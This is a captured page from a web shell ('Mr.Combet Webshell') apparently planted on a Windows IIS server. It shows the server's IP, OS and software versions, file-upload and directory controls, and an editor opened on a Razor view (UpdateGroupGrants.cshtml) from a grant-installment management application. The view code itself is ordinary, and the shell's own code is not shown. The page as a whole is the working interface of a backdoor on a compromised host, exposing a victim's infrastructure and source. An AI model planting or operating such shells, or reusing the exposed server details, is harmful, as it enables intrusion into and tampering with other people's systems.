Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
mapqa
/
Views
/
InvestmentOption
/
Edit File Name :
UpdateGroupGrants.cshtml
@model RER_Project.DataAccess.ViewModels.Groups.GroupModel @using RER_Project.BusinessLayer.BusinessService @using RER_Project.Core.Helpers @{ ViewBag.Title = "Update Group Grants"; var meta = AppUserService.GetCurrent(); } <div id="pop-up-div" class="modal fade" role="dialog"> </div> <div class="row wrapper border-bottom white-bg page-heading"> <strong><span style="font-size:medium"> Group Grants Information</span></strong><br /> <br /> <div class="col-md-10"> <div class="row"> <div class="col-lg-12"> <span style="font-size: 100%;"> Name: <strong>@Model.FnShortGroupInformation.group_name</strong> </span> <span style="font-size: 100%;"> Province: <strong>@Model.FnShortGroupInformation.province</strong> </span> <span style="font-size: 100%;"> District: <strong>@Model.FnShortGroupInformation.district </strong> </span> </div> </div> <br /> <div class="row"> <div class="col-md-12"> <span style="font-size: 100%;"> Municipality: <strong>@Model.FnShortGroupInformation.municipality</strong> </span> <span style="font-size: 100%;"> Ward: <strong>@Model.FnShortGroupInformation.ward</strong> </span> <span style="font-size: 100%;"> Settlement: <strong>@Model.FnShortGroupInformation.settlement</strong> </span> <span style="font-size: 100%;"> No. of Beneficiaries: <strong>@Model.FnShortGroupInformation.beneficiaries_no</strong> </span> </div> </div> <br /> <div class="row"> <div class="col-md-8"> <span style="font-size: 100%;"> Commodity: <strong>@Model.FnShortGroupInformation.municipality</strong> </span> <span style="font-size: 100%;"> Contact Person: <strong>@Model.FnShortGroupInformation.contact_person</strong> </span> <span style="font-size: 100%;"> Contact No: <strong>@Model.FnShortGroupInformation.contact_no</strong> </span> </div> </div> </div> </div> <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-12"> <div class="ibox float-e-margins"> <div class="ibox-content"> @*<input type="button" value="Add Support Item" class="btn btn-success pull-right" id="btnSupportItem" onclick="showDetails(@Model.FnShortGroupInformation.group_id)" />*@ @*<br />*@ @if (Model.InvestmentOption.Count == 0) { <h2>Please Update Total Grants First</h2> } else { <form method="post" id="CreateGrantForm"> <input type="hidden" name="FirstInstallmentType1Date" id="FirstInstallmentType1Date" /> <input type="hidden" name="SecondInstallmentType1Date" id="SecondInstallmentType1Date" /> <input type="hidden" name="ThirdInstallmentType1Date" id="ThirdInstallmentType1Date" /> <input type="hidden" name="FirstInstallmentType1DateNepali" id="FirstInstallmentType1DateNepali" /> <input type="hidden" name="SecondInstallmentType1DateNepali" id="SecondInstallmentType1DateNepali" /> <input type="hidden" name="ThirdInstallmentType1DateNepali" id="ThirdInstallmentType1DateNepali" /> <input type="hidden" name="FirstInstallmentDate" id="FirstInstallmentDate" /> <input type="hidden" name="SecondInstallmentDate" id="SecondInstallmentDate" /> <input type="hidden" name="ThirdInstallmentDate" id="ThirdInstallmentDate" /> <input type="hidden" name="FirstInstallmentDateNepali" id="FirstInstallmentDateNepali" /> <input type="hidden" name="SecondInstallmentDateNepali" id="SecondInstallmentDateNepali" /> <input type="hidden" name="ThirdInstallmentDateNepali" id="ThirdInstallmentDateNepali" /> @if (Model.InvestmentOption.Count > 0) { foreach (var item in Model.InvestmentOption) { if (item.InvestmentOptionId == 1) { <h4><u>Window 1</u></h4> <div class="row"> <div class="col-lg-12"> <table class="table table-hover table-bordered"> <thead> <tr> <th> Group / Co </th> <th>Samriddhi Grants</th> <th>Palika / O </th> <th>Proposed Amount</th> </tr> </thead> <tbody> <tr> <td> <strong> Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.GroupCo))</strong></td> <td><strong> Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.Samriddhi))</strong></td> <td><strong>Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.PalikaO))</strong></td> <td> <strong>Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.ProposedGrant))</strong></td> </tr> </tbody> </table> </div> </div> } else if (item.InvestmentOptionId == 2) { <h4><u>Window 1 UnLocking</u></h4> <div class="row"> <div class="col-lg-12"> <table class="table table-hover table-bordered"> <thead> <tr> <th> Group / Co </th> <th>Samriddhi Grants</th> <th>Palika / O </th> <th>Proposed Amount</th> </tr> </thead> <tbody> <tr> <td> <strong> Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.GroupCo))</strong></td> <td><strong> Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.Samriddhi))</strong></td> <td><strong>@String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.PalikaO))</strong></td> <td> <strong> Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.ProposedGrant))</strong></td> </tr> </tbody> </table> </div> </div> } else if (item.InvestmentOptionId == 3) { if (item.WindowsInvestmentName != "Windows1Unlocking") { <h4><u>Both Window 1 And Unlocking</u></h4> <h4><u>1. Windows 1 Investment</u></h4> <div class="row"> <div class="col-lg-12"> <table class="table table-hover table-bordered"> <thead> <tr> <th>Group / Co </th> <th>Samriddhi Grants</th> <th> Palika / O </th> <th>Proposed Amount</th> </tr> </thead> <tbody> <tr> <td> <strong> Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.GroupCo))</strong></td> <td><strong> Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.Samriddhi))</strong></td> <td> <strong>Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.PalikaO))</strong></td> <td><strong>Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(Convert.ToDouble(item.Samriddhi) + Convert.ToDouble(item.GroupCo) + Convert.ToDouble(item.PalikaO)))</strong></td> </tr> </tbody> </table> </div> </div> <br /> <div class="row"> <div class="col-md-4"> <div class="installment-box"> <div class="col-md-6"> <label><strong>First Installment</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter" value="" onkeyup="installmentChangedBoth(event)" onkeypress="return isNumberKey(this,event)" maxlength="11" name="FirstInstallmentType1" id="FirstInstallmentType1"> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-6"> <label><strong> Date</strong></label> <input type="text" class="form-control " id="NepaliFirstInstallmentDatePickerType1" /> </div> </div> </div> <div class="col-md-4"> <div class="installment-box"> <div class="col-md-6"> <label><strong>Second Installment</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter" onkeyup="installmentChangedBoth(event)" onkeypress="return isNumberKey(this,event)" maxlength="11" name="SecondInstallmentType1" id="SecondInstallmentType1"> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-6"> <label><strong> Date</strong></label> <input type="text" class="form-control " id="NepaliSecondInstallmentDatePickerType1" /> </div> </div> </div> <div class="col-lg-4"> <div class="installment-box"> <div class="col-md-6"> <label><strong>Third Installment</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter" onkeyup="installmentChangedBoth(event)" onkeypress="return isNumberKey(this,event)" maxlength="11" name="ThirdInstallmentType1" id="ThirdInstallmentType1"> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-6"> <label><strong> Date</strong></label> <input type="text" class="form-control " id="NepaliThirdInstallmentDatePickerType1" /> </div> </div> </div> </div> } else { <br /><br /> <h4><u>2. Window 1(Unlocking)Investment</u></h4> <div class="row"> <div class="col-lg-12"> <table class="table table-hover table-bordered"> <thead> <tr> <th>Group / Co </th> <th>Samriddhi Grants</th> <th> Palika / O </th> <th>Proposed Amount</th> </tr> </thead> <tbody> <tr> <td> <strong> Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.GroupCo))</strong></td> <td><strong> Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.Samriddhi))</strong></td> <td> <strong>Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.PalikaO))</strong></td> <td><strong>Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(Convert.ToDouble(item.Samriddhi) + Convert.ToDouble(item.GroupCo) + Convert.ToDouble(item.PalikaO)))</strong></td> </tr> </tbody> </table> </div> </div> } } else { <h4><u>Window 2</u></h4> <div class="row"> <div class="col-lg-12"> <table class="table table-hover table-bordered"> <thead> <tr> <th> Samriddhi Grant </th> <th>Proposed Amount</th> <th> Traders </th> </tr> </thead> <tbody> <tr> <td><strong> Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.Samriddhi))</strong></td> <td> <strong> Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.ProposedGrant))</strong></td> <td> <strong>Rs. @String.Format(System.Globalization.CultureInfo.CreateSpecificCulture("hi-IN"), "{0:#,0.00}", Convert.ToDouble(item.GroupCo))</strong></td> </tr> </tbody> </table> </div> </div> } } <br /> <div class=""> <div class="col-md-4"> <div class="installment-box row"> <div class="col-md-6"> <label><strong>First Installment</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter" onkeyup="installmentChanged(event)" onkeypress="return isNumberKey(this,event)" maxlength="11" name="FirstInstallment" id="FirstInstallment"> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-6"> <label><strong> Date</strong></label> <input type="text" class="form-control " id="NepaliFirstInstallmentDatePicker" /> </div> @*<div class="form-group col-md-6"> <label><strong> Status </strong></label> <input type="text" class="form-control " id="FirstInstallmentStatus" /> </div> <div class="form-group col-md-6"> <label><strong> Remarks </strong></label> <input type="text" class="form-control " id="FirstInstallmentRemarks" /> </div> <div class="form-group col-md-12"> <input type="button" value="Forward" class="btn btn-primary pull-right p-5" id="btnForward" /> <input type="button" value="Add/Edit Expenses" class="btn btn-primary pull-right p-5" id="AddEditExpenses" onclick="addDetails()"/> </div>*@ </div> </div> <div class="col-md-4"> <div class="installment-box row"> <div class="col-md-6"> <label><strong>Second Installment</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter" onkeyup="installmentChanged(event)" onkeypress="return isNumberKey(this,event)" maxlength="11" name="SecondInstallment" id="SecondInstallment"> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-6"> <label><strong> Date</strong></label> <input type="text" class="form-control " id="NepaliSecondInstallmentDatePicker" /> </div> @*<div class="form-group col-md-6"> <label><strong> Status </strong></label> <input type="text" class="form-control " id="FirstInstallmentStatus" /> </div> <div class="form-group col-md-6"> <label><strong> Remarks </strong></label> <input type="text" class="form-control " id="FirstInstallmentRemarks" /> </div> <div class="form-group col-md-12"> <input type="button" value="Forward" class="btn btn-primary pull-right p-5" id="btnForward" /> <input type="button" value="Add/Edit Expenses" class="btn btn-primary pull-right p-5" id="AddEditExpenses" /> </div>*@ </div> </div> <div class="col-md-4"> <div class="installment-box row"> <div class="col-md-6"> <label><strong>Third Installment</strong></label> <div class="inputWithIcon"> <input type="text" class="curr form-control currencyFormatter" onkeyup="installmentChanged(event)" onkeypress="return isNumberKey(this,event)" maxlength="11" name="ThirdInstallment" id="ThirdInstallment"> <span><strong>Rs</strong></span> </div> </div> <div class="form-group col-md-6"> <label><strong> Date</strong></label> <input type="text" class="form-control " id="NepaliThirdInstallmentDatePicker" /> </div> @*<div class="form-group col-md-6"> <label><strong> Status </strong></label> <input type="text" class="form-control " id="FirstInstallmentStatus" /> </div> <div class="form-group col-md-6"> <label><strong> Remarks </strong></label> <input type="text" class="form-control " id="FirstInstallmentRemarks" /> </div> <div class="form-group col-md-12"> <input type="button" value="Forward" class="btn btn-primary pull-right p-5" id="btnForward" /> <input type="button" value="Add/Edit Expenses" class="btn btn-primary pull-right p-5" id="AddEditExpenses" /> </div>*@ </div> </div> </div> } <br /> <div class="row"> <div class="form-group col-md-12"> <div class=" pull-right"> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnE || meta.RoleId == (int)EnumRoleHelper.Roles.MnEOfficer) { <input type="button" value="Save" class="btn btn-primary" id="SubmitButton" /><span> </span> } <a href="/groups" class="btn btn-default">Back</a> </div> </div> </div> </form> } </div> </div> </div> </div> </div> <script src="~/Scripts/jquery.min.js"></script> <script src="~/Scripts/NepaliDatePicker/jquery.nepaliDatePicker.min.js"></script> <link href="~/Content/NepaliDatePicker/nepaliDatePicker.min.css" rel="stylesheet" /> <script type="text/javascript"> $(document).ready(function () { initializeDatePicker(); loadGroupGrantData(); }) function initializeDatePicker() { $("#NepaliFirstInstallmentDatePickerType1").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#NepaliFirstInstallmentDatePickerType1").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#FirstInstallmentType1Date").val(datePickerData.adDate.toLocaleDateString()); $("#FirstInstallmentType1DateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) $("#NepaliSecondInstallmentDatePickerType1").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#NepaliSecondInstallmentDatePickerType1").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#SecondInstallmentType1Date").val(datePickerData.adDate.toLocaleDateString()); $("#SecondInstallmentType1DateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) $("#NepaliThirdInstallmentDatePickerType1").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#NepaliThirdInstallmentDatePickerType1").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#ThirdInstallmentType1Date").val(datePickerData.adDate.toLocaleDateString()); $("#ThirdInstallmentType1DateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) $("#NepaliFirstInstallmentDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#NepaliFirstInstallmentDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#FirstInstallmentDate").val(datePickerData.adDate.toLocaleDateString()); $("#FirstInstallmentDateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) $("#NepaliSecondInstallmentDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#NepaliSecondInstallmentDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#SecondInstallmentDate").val(datePickerData.adDate.toLocaleDateString()); $("#SecondInstallmentDateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) $("#NepaliThirdInstallmentDatePicker").nepaliDatePicker({ dateFormat: "%y-%M-%d", closeOnDateSelect: true }); $("#NepaliThirdInstallmentDatePicker").on("dateSelect", function (event) { var datePickerData = event.datePickerData; $("#ThirdInstallmentDate").val(datePickerData.adDate.toLocaleDateString()); $("#ThirdInstallmentDateNepali").val(datePickerData.bsYear + "-" + datePickerData.bsMonth + "-" + datePickerData.bsDate); }) } function loadGroupGrantData() { debugger; const ajax = request(); function request() { const url = '/grant_info/group/' + @Model.FnShortGroupInformation.group_id ; return window.getAjaxRequest(url, "Get", @Model.FnShortGroupInformation.group_id); } ajax.done(function (response) { console.log(response); if (response.length > 1) { response.forEach(function (x) { if (x.WindowsInvestmentName != null) { bindDateDataOnEdit(x); $('#FirstInstallment').val(getNumberWithComma(x.FirstInstallment)); $('#SecondInstallment').val(getNumberWithComma(x.SecondInstallment)); $('#ThirdInstallment').val(getNumberWithComma(x.ThirdInstallment)); } else { if (x.FirstInstallmentDate != null) { var fInstallmentDateType1 = new Date(x.FirstInstallmentDate); //main part here var fInstallmentDateNepaliType1 = calendarFunctions.getBsDateByAdDate(fInstallmentDateType1.getFullYear(), fInstallmentDateType1.getMonth() + 1, fInstallmentDateType1.getDate()); var fInstallmentFormattedNepaliDateType1 = calendarFunctions.bsDateFormat("%y-%M-%d", fInstallmentDateNepaliType1.bsYear, fInstallmentDateNepaliType1.bsMonth, fInstallmentDateNepaliType1.bsDate); $("#NepaliFirstInstallmentDatePickerType1").val(fInstallmentFormattedNepaliDateType1); $("#FirstInstallmentType1Date").val(x.FirstInstallmentDate); $("#FirstInstallmentType1DateNepali").val(fInstallmentDateNepaliType1.bsYear + '-' + fInstallmentDateNepaliType1.bsMonth + '-' + fInstallmentDateNepaliType1.bsDate); } if (x.SecondInstallmentDate != null) { //Binding Date Date on Edit var sInstallmentDateType1 = new Date(x.SecondInstallmentDate); //main part here var sInstallmentDateNepaliType1 = calendarFunctions.getBsDateByAdDate(sInstallmentDateType1.getFullYear(), sInstallmentDateType1.getMonth() + 1, sInstallmentDateType1.getDate()); var sInstallmentFormattedNepaliDateType1 = calendarFunctions.bsDateFormat("%y-%M-%d", sInstallmentDateNepaliType1.bsYear, sInstallmentDateNepaliType1.bsMonth, sInstallmentDateNepaliType1.bsDate); $("#NepaliSecondInstallmentDatePickerType1").val(sInstallmentFormattedNepaliDateType1); $("#SecondInstallmentType1DateNepali").val(sInstallmentDateNepaliType1.bsYear + '-' + sInstallmentDateNepaliType1.bsMonth + '-' + sInstallmentDateNepaliType1.bsDate); $("#SecondInstallmentType1Date").val(x.SecondInstallmentDate); } //Binding Second Data on Edit if (x.ThirdInstallmentDate != null) { //Binding Date Date on Edit var tInstallmentDateType1 = new Date(x.ThirdInstallmentDate); //main part here var tInstallmentDateNepaliType1 = calendarFunctions.getBsDateByAdDate(tInstallmentDateType1.getFullYear(), tInstallmentDateType1.getMonth() + 1, tInstallmentDateType1.getDate()); var tInstallmentFormattedNepaliDateType1 = calendarFunctions.bsDateFormat("%y-%M-%d", tInstallmentDateNepaliType1.bsYear, tInstallmentDateNepaliType1.bsMonth, tInstallmentDateNepaliType1.bsDate); $("#NepaliThirdInstallmentDatePickerType1").val(tInstallmentFormattedNepaliDateType1); $("#ThirdInstallmentType1DateNepali").val(tInstallmentDateNepaliType1.bsYear + '-' + tInstallmentDateNepaliType1.bsMonth + '-' + tInstallmentDateNepaliType1.bsDate); $("#ThirdInstallmentType1Date").val(x.ThirdInstallmentDate); //Binding Second Data on Edit } debugger; $('#FirstInstallmentType1').val(getNumberWithComma(x.FirstInstallment)); $('#SecondInstallmentType1').val(getNumberWithComma(x.SecondInstallment)); $('#ThirdInstallmentType1').val(getNumberWithComma(x.ThirdInstallment)); } }) } else if (response.length == 1) { bindDateDataOnEdit(response[0]); $('#FirstInstallment').val(getNumberWithComma(response[0].FirstInstallment)); $('#SecondInstallment').val(getNumberWithComma(response[0].SecondInstallment)); $('#ThirdInstallment').val(getNumberWithComma(response[0].ThirdInstallment)); } else { } }); ajax.fail(function (xhr) { ShowMessage("error", xhr.responseText); }); } function bindDateDataOnEdit(response) { if (response.FirstInstallmentDate != null) { var fInstallmentDate = new Date(response.FirstInstallmentDate); //main part here console.log(fInstallmentDate) var fInstallmentDateNepali = calendarFunctions.getBsDateByAdDate(fInstallmentDate.getFullYear(), fInstallmentDate.getMonth() + 1, fInstallmentDate.getDate()); var fInstallmentFormattedNepaliDate = calendarFunctions.bsDateFormat("%y-%M-%d", fInstallmentDateNepali.bsYear, fInstallmentDateNepali.bsMonth, fInstallmentDateNepali.bsDate); $("#NepaliFirstInstallmentDatePicker").val(fInstallmentFormattedNepaliDate); $("#FirstInstallmentDateNepali").val(fInstallmentDateNepali.bsYear + '-' + fInstallmentDateNepali.bsMonth + '-' + fInstallmentDateNepali.bsDate); $("#FirstInstallmentDate").val(response.FirstInstallmentDate); } debugger; if (response.SecondInstallmentDate != null) { var sInstallmentDate = new Date(response.SecondInstallmentDate); //main part here var sInstallmentDateNepali = calendarFunctions.getBsDateByAdDate(sInstallmentDate.getFullYear(), sInstallmentDate.getMonth() + 1, sInstallmentDate.getDate()); var sInstallmentFormattedNepaliDate = calendarFunctions.bsDateFormat("%y-%M-%d", sInstallmentDateNepali.bsYear, sInstallmentDateNepali.bsMonth, sInstallmentDateNepali.bsDate); $("#NepaliSecondInstallmentDatePicker").val(sInstallmentFormattedNepaliDate); $("#SecondInstallmentDateNepali").val(sInstallmentDateNepali.bsYear + '-' + sInstallmentDateNepali.bsMonth + '-' + sInstallmentDateNepali.bsDate); $("#SecondInstallmentDate").val(response.SecondInstallmentDate); } if (response.ThirdInstallmentDate != null) { var tInstallmentDate = new Date(response.ThirdInstallmentDate); //main part here var tInstallmentDateNepali = calendarFunctions.getBsDateByAdDate(tInstallmentDate.getFullYear(), tInstallmentDate.getMonth() + 1, tInstallmentDate.getDate()); var tInstallmentFormattedNepaliDate = calendarFunctions.bsDateFormat("%y-%M-%d", tInstallmentDateNepali.bsYear, tInstallmentDateNepali.bsMonth, tInstallmentDateNepali.bsDate); $("#NepaliThirdInstallmentDatePicker").val(tInstallmentFormattedNepaliDate); $("#ThirdInstallmentDateNepali").val(tInstallmentDateNepali.bsDate + '-' + tInstallmentDateNepali.bsMonth + '-' + tInstallmentDateNepali.bsYear); $("#ThirdInstallmentDate").val(response.ThirdInstallmentDate); } } function installmentChangedBoth(event) { var samriddhi = @(Model.InvestmentOption.Count > 0 ? Model.InvestmentOption.FirstOrDefault().Samriddhi:"0"); console.log(samriddhi); const form = $("#CreateGrantForm"); var foo = window.serializeForm(form); var total = Number(removeCommaFromString(foo.FirstInstallmentType1)) + Number(removeCommaFromString(foo.SecondInstallmentType1)) + Number(removeCommaFromString(foo.ThirdInstallmentType1)); if (total > Number(samriddhi)) { ShowMessage("error", 'Total Must be equal to Samriddhi Grant'); event.target.value = 0; } } function installmentChanged(event) { var samriddhi = @((Model.InvestmentOption.Count!=0 && Model.InvestmentOption.Count > 1) ? Model.InvestmentOption[1].Samriddhi : Model.InvestmentOption[0].Samriddhi); console.log(samriddhi); const form = $("#CreateGrantForm"); var foo = window.serializeForm(form); var total = Number(removeCommaFromString(foo.FirstInstallment)) + Number(removeCommaFromString(foo.SecondInstallment)) + Number(removeCommaFromString(foo.ThirdInstallment)); if (total > samriddhi) { ShowMessage("error", 'Total Must be equal to Samriddhi Grant'); event.target.value = 0; } debugger; } $("#SubmitButton").off("click").on("click", function () { debugger; function request(model) { const url = "/update/grants/installment"; const data = JSON.stringify(model); return window.getAjaxRequest(url, "POST", data); } const form = $("#CreateGrantForm"); $.validator.unobtrusive.parse(form); var data = window.serializeForm(form); var firstInstallment = Number(removeCommaFromString(data.FirstInstallment)); var secondInstallment = Number(removeCommaFromString(data.SecondInstallment)); var thirdInstallment = Number(removeCommaFromString(data.ThirdInstallment)); if ((firstInstallment == 0 && data.FirstInstallmentDate != "") || (firstInstallment != 0 && data.FirstInstallmentDate == "")) { ShowMessage("error","First Installment and its Associate Date Must be Filled"); return; } if ((secondInstallment == 0 && data.SecondInstallmentDate != "") || (secondInstallment != 0 && data.SecondInstallmentDate == "")) { ShowMessage("error", "Second Installment and its Associate Date Must be Filled"); return; } if ((thirdInstallment == 0 && data.ThirdInstallmentDate != "") || (thirdInstallment != 0 && data.ThirdInstallmentDate == "")) { ShowMessage("error", "Second Installment and its Associate Date Must be Filled"); return; } if (data.FirstInstallmentType1 != undefined) { var firstInstallmentType1 = Number(removeCommaFromString(data.FirstInstallmentType1)); if ((firstInstallmentType1 == 0 && data.FirstInstallmentType1Date != "") || (firstInstallmentType1 != 0 && data.FirstInstallmentType1Date == "")) { ShowMessage("error", "First Installment and its Associate Date Must be Filled"); return; } var secondInstallmentType1 = Number(removeCommaFromString(data.SecondInstallmentType1)); if ((secondInstallmentType1 == 0 && data.SecondInstallmentType1Date != "") || (secondInstallmentType1 != 0 && data.SecondInstallmentType1Date == "")) { ShowMessage("error", "Second Installment and its Associate Date Must be Filled"); return; } var thirdInstallmentType1 = Number(removeCommaFromString(data.ThirdInstallmentType1)); if ((thirdInstallmentType1 == 0 && data.ThirdInstallmentType1Date != "") || (thirdInstallmentType1 != 0 && data.ThirdInstallmentType1Date == "")) { ShowMessage("error", "Third Installment and its Associate Date Must be Filled"); return; } } if (!form.valid()) { return false; }; if (!window.confirmAction()) { return; }; WorkForce.loader.show(); function getModel() { return ({ GroupGrantInstallmentList:getFormDetails() }); } function getFormDetails() { var data = {}; data = window.serializeForm(form); debugger; var grantDetails = []; if (@Model.InvestmentOption.Count > 1) { console.log(data.FirstInstallmentDate); grantDetails.push( { 'FirstInstallment': Number(removeCommaFromString(data.FirstInstallment)), 'SecondInstallment': Number(removeCommaFromString(data.SecondInstallment)), 'ThirdInstallment': Number(removeCommaFromString(data.ThirdInstallment)), 'GroupId': '@Model.FnShortGroupInformation.group_id', 'InvestmentOptionId':'@Model.InvestmentOption.FirstOrDefault().InvestmentOptionId', 'WindowsInvestmentName': 'Windows1Unlocking', 'FirstInstallmentDate': data.FirstInstallmentDate, 'FirstInstallmentDateNepali': data.FirstInstallmentDateNepali, 'SecondInstallmentDate': data.SecondInstallmentDate, 'SecondInstallmentDateNepali': data.SecondInstallmentDateNepali, 'ThirdInstallmentDateNepali': data.ThirdInstallmentDateNepali, 'ThirdInstallmentDate': data.ThirdInstallmentDate }, { 'FirstInstallment': Number(removeCommaFromString(data.FirstInstallmentType1)), 'SecondInstallment': Number(removeCommaFromString(data.SecondInstallmentType1)), 'GroupId': '@Model.FnShortGroupInformation.group_id', 'InvestmentOptionId':'@Model.InvestmentOption.FirstOrDefault().InvestmentOptionId', 'ThirdInstallment': Number(removeCommaFromString(data.ThirdInstallmentType1)), 'WindowsInvestmentName': '', 'FirstInstallmentDate': data.FirstInstallmentType1Date, 'FirstInstallmentDateNepali': data.FirstInstallmentType1DateNepali, 'SecondInstallmentDate': data.SecondInstallmentType1Date, 'SecondInstallmentDateNepali': data.SecondInstallmentType1DateNepali, 'ThirdInstallmentDateNepali': data.ThirdInstallmentType1DateNepali, 'ThirdInstallmentDate': data.ThirdInstallmentType1Date } ) } else { debugger grantDetails.push( { 'FirstInstallment': Number(removeCommaFromString(data.FirstInstallment)), 'SecondInstallment': Number(removeCommaFromString(data.SecondInstallment)), 'ThirdInstallment': Number(removeCommaFromString(data.ThirdInstallment)), 'GroupId': '@Model.FnShortGroupInformation.group_id', 'InvestmentOptionId': '@Model.InvestmentOption.FirstOrDefault().InvestmentOptionId', 'WindowsInvestmentName': '', 'FirstInstallmentDate': data.FirstInstallmentDate, 'FirstInstallmentDateNepali': data.FirstInstallmentDateNepali, 'SecondInstallmentDate': data.SecondInstallmentDate, 'SecondInstallmentDateNepali': data.SecondInstallmentDateNepali, 'ThirdInstallmentDateNepali': data.ThirdInstallmentDateNepali, 'ThirdInstallmentDate': data.ThirdInstallmentDate } ) } return grantDetails; } //const model = window.serializeForm(form); const model = getModel(); const ajax = request(model); ajax.done(function (response) { WorkForce.loader.hide(); showNotification("success"); }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("error", xhr.responseText); }); }) function isNumberKey(element, evt) { var charCode = (evt.which) ? evt.which : event.keyCode if (charCode > 31 && (charCode < 48 || charCode > 57) && !(charCode == 46 || charCode == 8)) return false; else { var len = $(element).val().length; var index = $(element).val().indexOf('.'); if (index > 0 && charCode == 46) { return false; } if (index > 0) { var CharAfterdot = (len + 1) - index; if (CharAfterdot > 3) { return false; } } } return true; } function getNumberWithComma(value) { value = value || 0; return Number(parseFloat(value).toFixed(2)).toLocaleString("en-IN", { minimumFractionDigits: 0 }) } function removeCommaFromString(value) { var result = parseFloat(value.replace(/,/g, '')); if (isNaN(result)) { return 0; } else { return result; } } function showDetails( groupId) { AjaxForm.popup("/group/supportItem/"+ groupId); } function addDetails(groupId) { AjaxForm.popup("/group/supportItemExpenses/" + 1); } </script> <style> .p-5 { padding: 5px; margin: 2px; } .installment-box { padding: 5px; border: 1px solid lightgrey; height: auto; } </style>
Save